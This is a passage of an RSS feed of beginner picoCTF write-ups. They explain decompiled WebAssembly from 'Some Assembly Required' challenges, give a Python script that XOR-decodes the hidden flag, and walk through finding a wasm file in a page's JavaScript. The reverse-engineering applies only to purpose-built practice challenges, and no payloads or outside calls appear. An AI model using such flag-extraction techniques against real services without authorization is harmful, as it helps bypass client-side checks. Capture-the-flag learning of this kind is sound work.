B_a;<br>    label B_c:<br>    var z:int = e[11]:ubyte;<br>    var aa:int = 255;<br>    var ba:int = z &amp; aa;<br>    var ca:int = e[10]:ubyte;<br>    var da:int = 255;<br>    var ea:int = ca &amp; da;<br>    var fa:int = ba;<br>    var ga:int = ea;<br>    var ha:int = fa == ga;<br>    var ia:int = 1;<br>    var ja:int = ha &amp; ia;<br>    if (ja) continue L_b;<br>  }<br>  var ka:int = e[11]:ubyte;<br>  var la:int = 255;<br>  var ma:int = ka &amp; la;<br>  var na:int = e[10]:ubyte;<br>  var oa:int = 255;<br>  var pa:int = na &amp; oa;<br>  var qa:int = ma - pa;<br>  e[7]:int = qa;<br>  label B_a:<br>  var ra:int = e[7]:int;<br>  return ra;<br>}<br><br>export function check_flag():int {<br>  var a:int = 0;<br>  var b:int = 1072;<br>  var c:int = 1024;<br>  var d:int = strcmp(c, b);<br>  var e:int = d;<br>  var f:int = a;<br>  var g:int = e != f;<br>  var h:int = -1;<br>  var i:int = g ^ h;<br>  var j:int = 1;<br>  var k:int = i &amp; j;<br>  return k;<br>}<br><br>function copy(a:int, b:int) {<br>  var c:int = g_a;<br>  var d:int = 16;<br>  var e:int_ptr = c - d;<br>  e[3] = a;<br>  e[2] = b;<br>  var f:int = e[3];<br>  if (eqz(f)) goto B_a;<br>  var g:int = 4;<br>  var h:int = e[2];<br>  var i:int = 5;<br>  var j:int = h % i;<br>  var k:ubyte_ptr = g - j;<br>  var l:int = k[1067];<br>  var m:int = 24;<br>  var n:int = l &lt;&lt; m;<br>  var o:int = n &gt;&gt; m;<br>  var p:int = e[3];<br>  var q:int = p ^ o;<br>  e[3] = q;<br>  label B_a:<br>  var r:int = e[3];<br>  var s:byte_ptr = e[2];<br>  s[1072] = r;<br>}</pre><p>The copy function contains the logic for decoding data.</p><h3>Key Elements</h3><ol><li><strong>Initialization</strong>:</li></ol><ul><li>c:int = g_a;: Set c to g_a (66864).</li><li>d:int = 16;: Set d to 16.</li><li>e:int_ptr = c - d;: Create a pointer e at address 66848.</li></ul><p><strong>2. Storing Inputs</strong>:</p><ul><li>e[3] = a;: Store the value of a in e[3].</li><li>e[2] = b;: Store the value of b in e[2].</li></ul><p><strong>3. Decoding Logic</strong>:</p><ul><li>Check if f (the value of e[3]) is zero: if (eqz(f)) goto B_a;.</li><li>Calculate j as the modulus of e[2] by 5: var j:int = h % i;.</li><li>Calculate the reverse cycling index: var k:ubyte_ptr = g - j;.</li><li>Get the value from d_1067 at this index: var l:int = k[1067];.</li><li>Shift the value left by 24 bits and back to undo potential overflow: var n:int = l &lt;&lt; m; var o:int = n &gt;&gt; m;.</li><li>XOR e[3] with this value: var q:int = p ^ o; e[3] = q;.</li></ul><p><strong>4. Store the Result</strong>:</p><ul><li>Store the decoded value in s[1072]: s[1072] = r;.</li></ul><p>in summary: The copy function performs a decoding operation on a given integer input by applying an XOR operation with values derived from a predefined key array (d_1067).</p><p>so to solve this challenge we need to understand how copy function decodes data and then translate this logic into Python.</p><p>solve.py</p><pre>d_1024 = &quot;\x9dn\x93\xc8\xb2\xb9A\x8b\xc2\x90\x8bd\xc7\x9e\xc9\x88b\x95\x91\x90\xdac\xc5\x95\x95\xd82\xc4\xc5\x92\x8ee\x92\x96\x97\x8ca\xc4\x93\x92\x90\x00\x00&quot;<br>d_1067 = &quot;\xf1\xa7\xf0\x07\xed&quot;<br><br># Loop through each character in d_1024<br>for i in range(len(d_1024)):<br>    # Get the current character from d_1024<br>    char_1024 = d_1024[i]<br>    <br>    # Calculate the index for d_1067 (cycling in reverse through 0 to 4)<br>    index_1067 = 4 - (i % 5)<br>    <br>    # Get the character from d_1067 at the calculated index<br>    char_1067 = d_1067[index_1067]<br>    <br>    # XOR the ASCII values of the two characters and convert back to a character<br>    decoded_char = chr(ord(char_1024) ^ ord(char_1067))<br>    <br>    # Print the decoded character without a newline<br>    print(decoded_char, end=&quot;&quot;)</pre><h3>script Explanation:</h3><p><strong><em>1. Initialize Data Segments:</em></strong></p><ul><li>d_1024: This string contains the encoded message.</li><li>d_1067: This string contains the key used for decoding.</li></ul><p><strong><em>2. Loop Through Each Character in d_1024:</em></strong></p><ul><li>The script iterates over each character in d_1024.</li></ul><p><strong><em>3. Perform XOR Operation:</em></strong></p><ul><li>For each character in d_1024, the script calculates an index to access the corresponding character in d_1067.</li><li>The index is calculated as 4 - (i % 5), where i is the current position in the loop. This creates a reverse cyclic pattern over the key.</li><li>The script then performs an XOR operation between the ASCII values of the current character from d_1024 and the character from d_1067 at the calculated index.</li></ul><p><strong><em>4. Convert and Print the Decoded Character:</em></strong></p><ul><li>The result of the XOR operation is converted back to a character.</li><li>The decoded character is printed without a newline, concatenating all decoded characters into a single line of output.</li></ul><p>run it with python3 solve.py and the flag will show in the terminal.</p><p>thats it for now.</p><p>it was a nice one from pico.</p><p>Happy Hacking ❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48e8da5ecc11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF solving Some Assembly Required 2]]></title>
            <link>https://medium.com/@ahmedmazhar666/picoctf-solving-some-assembly-required-2-88bff3027347?source=rss-4b29fd17385b------2</link>
            <guid isPermaLink="false">https://medium.com/p/88bff3027347</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ahmedmazhar]]></dc:creator>
            <pubDate>Sat, 15 Jun 2024 10:43:19 GMT</pubDate>
            <atom:updated>2024-06-15T10:43:19.358Z</atom:updated>
            <content:encoded><![CDATA[<h3><em>السلام عليكم</em></h3><p><a href="https://play.picoctf.org/practice/challenge/131">challenge link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*QLBWznLwsV_Z_9qbNzyVfA.png" /></figure><p>same as before (<a href="https://medium.com/@ahmedmazhar666/picoctf-solving-some-assembly-required-1-f9596279edc6">Some Assembly Required 1</a> solve) simple page with a input field and a submit button to check the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/255/1*KrhLqhPwWqvGU3QnoW1Djw.png" /></figure><p>after checking the source code we found a js file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*V_GjAgsxNNWcA6svc_oxsA.png" /></figure><p>after opening it and start searching for anything sus.</p><p>we found the a file in the code (like assembly 1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PpedkidDbXT4P67dWuOzVQ.png" /></figure><p>download it by trying to access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/283/1*rIc2Orn_j2K0IECZ_jIZ8A.png" /></figure><p>open it to find out that the flag is encoded in some strange technique</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*DByEWZOIhHCw8Cw5Iq4bWA.png" /></figure><p>I start by stringify it to see it more clearly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*PdJk-G3geGoNM27i9TqQGQ.png" /></figure><p>I used C<a href="https://gchq.github.io/CyberChef/">yberChef</a> to try to decrypt the flag but none of them succeded.</p><p>but after trying the XOR bruteforcer with 500 sample length and searching for picoCTF (using ctrl+F to search in a website) i found it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AiZkfHZv97V0UHAUiyaRzw.png" /></figure><p>take a copy and go to the check flag form to check if it is a correct flag and boom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*PtUwFzXjRHRe4T4g70JaVQ.png" /></figure><p>Congratulation 110 points.</p><p>Thanks for Reading hope u get everything, any questions leave a reply</p><p>Happy Hacking❤️🫡</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=88bff3027347" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF solving Some Assembly Required 1]]></title>
            <link>https://medium.com/@ahmedmazhar666/picoctf-solving-some-assembly-required-1-f9596279edc6?source=rss-4b29fd17385b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9596279edc6</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ahmedmazhar]]></dc:creator>
            <pubDate>Fri, 14 Jun 2024 11:59:30 GMT</pubDate>
            <atom:updated>2024-06-15T09:40:46.264Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>السلام عليكم</em></blockquote><p><a href="https://play.picoctf.org/practice/challenge/152">challenge link</a></p><figure><img alt="challenge ui from picoctf with 70 points" src="https://cdn-images-1.medium.com/max/968/1*ajWCGhBigIrUau7t867MrQ.png" /></figure><p>After opening the link provided with the challenge it just opens a simple page:</p><figure><img alt="one input field with “Enter Flag” title and a submit button" src="https://cdn-images-1.medium.com/max/439/1*QsAOxmTTKk35VsXZq_gX1w.png" /></figure><p>after inspecting the page source there was a js file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*v3BSpQc1-uaXFg8LblT1bA.png" /></figure><p>after opening and inspecting the js file i noticed a weird endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8Gj-faKJogcx7t_Q7ct4g.png" /></figure><p>after opening it the page is still the same with the simple form input fields so i start suspecting that it is a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*nTOR70j-39aQMR_Ye7xsDg.png" /></figure><p>so i opened the inspect elements (F12) in network tab and hit refresh we found the file in the list.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YMKc9SxSV0esqYUP4IF2Ig.png" /></figure><p>after double clicking it (downloading it).</p><p>open the file to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*82ocAHv7sl-uZvr9M4YvvA.png" /></figure><p>Thanks for reading.</p><p>I hope that everything is clear and understandable.</p><p>happy hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9596279edc6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>